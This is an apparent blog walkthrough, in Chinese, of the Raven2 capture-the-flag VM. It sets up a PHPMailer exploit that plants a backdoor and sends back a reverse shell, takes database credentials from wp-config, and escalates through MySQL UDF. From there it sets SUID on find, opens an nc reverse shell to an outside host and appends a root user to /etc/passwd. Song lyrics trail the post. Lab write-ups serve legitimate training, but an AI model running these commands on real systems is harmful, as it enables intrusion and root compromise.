Raven2靶机

首先nmap扫描
nmap -p- -sV 192.168.234.0/24

有80端口访问一下
注:http非加密协议是80端口,https加密协议是443端口

发现有网页我先枚举一下子目录
这里用dirb
dirb http://192.168.234.29/

去这些目录看一下
这里获得第一个flag
这里我说明一下,我没有任何技巧都是一个一个打开看的,这里我们要对一些文件敏感一点类似于配置文件之类的
http://192.168.234.29/vendor/PATH

README.md里面发现PHPMailer
PHPMailer是一个用于发送电子邮件的PHP函数包

这里发现版本号
http://192.168.234.29/vendor/VERSION

在kali里面搜索一下看有没有相关exp
searchsploit PHPMailer

我们将他拿到当前目录
searchsploit -m 40974

需要针对PHPMailer修改参数:
41行:改下地址:http://192.168.234.4/contact.php
42行:后门名称:/dayu.php
44行:改下回弹的IP和端口 192.168.234.4 12345
47行:改下写入shell的目录:/var/www/html/dayu.php

ok现在我们执行exp
python3 40974.py

如果环境报错按照环境安装:
需要安装requests_toolbelt模块,使用命令:pip install requests-toolbelt安装即可,如果没用pip,需要sudo apt-get install python-pip安装即可。

此时我们访问http://192.168.234.29/contact.php就会生成后门文件dayu.php
本地开启监听
nc -lvvp 12345
访问:http://192.168.234.29/dayu.php
获得反弹shell
python -c 'import pty;pty.spawn("/bin/bash")'

先找一下flag
find / -name flag*

发现两个flag!读取:
cat /var/www/flag2.txt

访问:
http://10.211.55.10/wordpress/wp-content/uploads/2018/11/flag3.png
获得flag3!

7、wordpress目录枚举
在flag3目录下发现了wordpress目录,然后进行枚举
grep "内容" -rn
grep "password" -rn wp-config.php

define('DB_USER', 'root');
/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity');
获得mysql账号密码信息!

ps aux | grep root ---查看mysql进程信息

root 917 0.1 0.3 1351196 1760 ? Sl Jan07 2:09 /usr/sbin/mysqld --basedir=/

dpkg -l | grep mysql --查看历史安装包版本
5.5.6

mysql是root权限运行的,那么接下来就找mysql提权的方法.

8、mysql UDF 提权
UDF 提权、MOF 提权是非常经典的提权方法!


mysql -uroot -pR@v3nSecurity
select version(); ---查看版本

show databases;
use wordpress
show tables;
select * from wp_users;
michael:$P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0
steven:B6X3H3ykawf2oHuPsbjQiih5iJXqad.

首先看一下是否满足写入条件:
show global variables like 'secure%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_auth | OFF |
| secure_file_priv | |
+------------------+-------+
2 rows in set (0.00 sec)
1)当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
2)当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下,此时也无法提权
3)当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权!
如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。

查看插件目录:
show variables like '%plugin%';
+---------------+------------------------+
| Variable_name | Value |
+---------------+------------------------+
| plugin_dir | /usr/lib/mysql/plugin/ |
+---------------+------------------------+
1 row in set (0.00 sec)

查看能否远程登陆:
use mysql;
select user,host from user;
+------------------+-----------+
| user | host |
+------------------+-----------+
| root | 127.0.0.1 |
| root | ::1 |
| debian-sys-maint | localhost |
| root | localhost |
| root | raven |
+------------------+-----------+
5 rows in set (0.00 sec)
发现这里root用户不允许远程登陆,因此不能利用MSF提权。

谷歌搜索:mysql 5.x UDF exploit 或者 searchsploit udf
https://www.exploit-db.com/exploits/1518
searchsploit 1518.c
cp /usr/share/exploitdb/exploits/linux/local/1518.c /root/桌面

gcc -g -c 1518.c ---GCC编译.o文件
gcc -g -shared -o dayu.so 1518.o -lc
-g 生成调试信息
-c 编译(二进制)
-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
-o:执行命令后的文件名
-lc:-l 库 c库名

wget http://10.211.55.19:8081/dayu.so

show databases;
use mysql
select database();

进入数据库创建数据表dayu:
create table dayu(line blob);
插入数据文件:
insert into dayu values(load_file('/tmp/dayu.so'));

dayu表成功插入二进制数据,然后利用dumpfile函数把文件导出,outfile 多行导出,dumpfile一行导出
outfile会有特殊的转换,而dumpfile是原数据导出!
新建存储函数:
select * from dayu into dumpfile '/usr/lib/mysql/plugin/dayu.so';

创建自定义函数do_system,类型是integer,别名(soname)文件名字,然后查询函数是否创建成功:
create function do_system returns integer soname 'dayu.so';

查看以下创建的函数:
select * from mysql.func;
调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令:
select do_system('chmod u+s /usr/bin/find');

执行find命令
使用find执行 shell
touch dayu
find dayu -exec "/bin/sh" ;
或者:find dayu -exec "id" ;
cd /root
cat flag4.txt
flag4{df2bc5e951d91581467bb9a2a8ff4425}


mysql -uroot -pR@v3nSecurity
show databases;
use mysql
select database();

create table dayu(line blob);
insert into dayu values(load_file('/tmp/dayu.so'));
select * from dayu into dumpfile '/usr/lib/mysql/plugin/dayu.so';
create function do_system returns integer soname 'dayu.so';
select * from mysql.func;
select do_system('chmod u+s /usr/bin/find');

拓展知识点:或者利用sys_exec、sys_eval

select do_system('nc -nv 10.211.55.28 6677 -e /bin/bash');


openssl passwd dayu
YpIR51FecR9AY
select do_system('echo "dayu:xFzxgAbLwwOOA:0:0:root:/root:/bin/bash" >> /etc/passwd');
su dayu


仅限/bin/bash模式:
python -c 'import pty;pty.spawn("/bin/bash")'
Ctl z
stty raw -echo
fg

cewl http://10.211.55.10/wordpress/ -w user.txt
git clone https://github.com/Rhynorater/CVE-2018-15473-Exploit.git
cd CVE-2018-15473-Exploit/

pip3 install -r requirements.txt
proxychains pip3 install --upgrade paramiko==2.4.1

如果可以远程:
mysql_udf_payload
sqlmap -d "mysql://root:root@192.168.245.130:3306/mysql" --os-shell

posted @   谔斯猫  阅读(446)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 上周热点回顾(3.3-3.9)
  1. 1 原来你也在这里 周笔畅
  2. 2 阿拉斯加海湾 蓝心羽
  3. 3 世间美好与你环环相扣 柏松
  4. 4 起风了 吴青峰
  5. 5 同桌的你 胡夏
  6. 6 梦的光点【神兵小将主题曲片头曲】王心凌yyds 龙虎LH
  7. 7 极恶都市 夏日入侵企划
阿拉斯加海湾 - 蓝心羽
00:00 / 00:00
An audio error has occurred, player will skip forward in 2 seconds.

原唱:菲道尔

演唱:蓝心羽

编曲:于山川@Cstudio

贝斯:石间@Cstudio

吉他:丁兆尊龙

和声编写:田跃君

和声:蓝心羽

混音:王巍MOKA

制作人:杜叔叔

策划统筹:文氓苏

宣发:张婧、寂瞳、游文雅、杜钰雯

OP:Loolala Music M Sdn. Bhd.

SP:环球音乐版权管理集团(Universal Music Publishing CHINA)

音乐制作:极韵文化&BLUE STUDIO

音乐发行:极韵文化&BLUE STUDIO

出品:「极韵文化」×「BLUE STUDIO」×「造音行动」

【此版本为正式授权翻唱作品】

上天啊

难道你看不出我很爱她

怎么明明相爱的两个人

你要拆散他们啊

上天啊

你千万不要偷偷告诉她

在无数夜深人静的夜晚

有个人在想她

以后的日子你要好好照顾她

我不在她身旁你不能欺负她

别再让人走进她心里

最后却又离开她

因为我不愿再看她流泪啦

上天啊

你是不是在偷偷看笑话

明知我还没能力保护她

让我们相遇啊

上天啊

她最近是否不再失眠啦

愿世间温情化作一缕风

代替我拥抱她

以后的日子你要好好照顾她

我不在她身旁你不能欺负她

别再让人走进她心里

最后却又离开她

因为我不愿再看她流泪啦

希望我的努力能够赶上她

有天我能给她完整的一个家

可若你安排了别人给她

我会祝福她

上天你别管我先让她幸福吧

上天啊

这些晚上我对你说的话

你别不小心漏嘴告诉她

我怕会吵醒她

上天啊

你千万不要偷偷告诉她

在无数夜深人静的夜晚

我依旧在想她

点击右上角即可分享
微信分享提示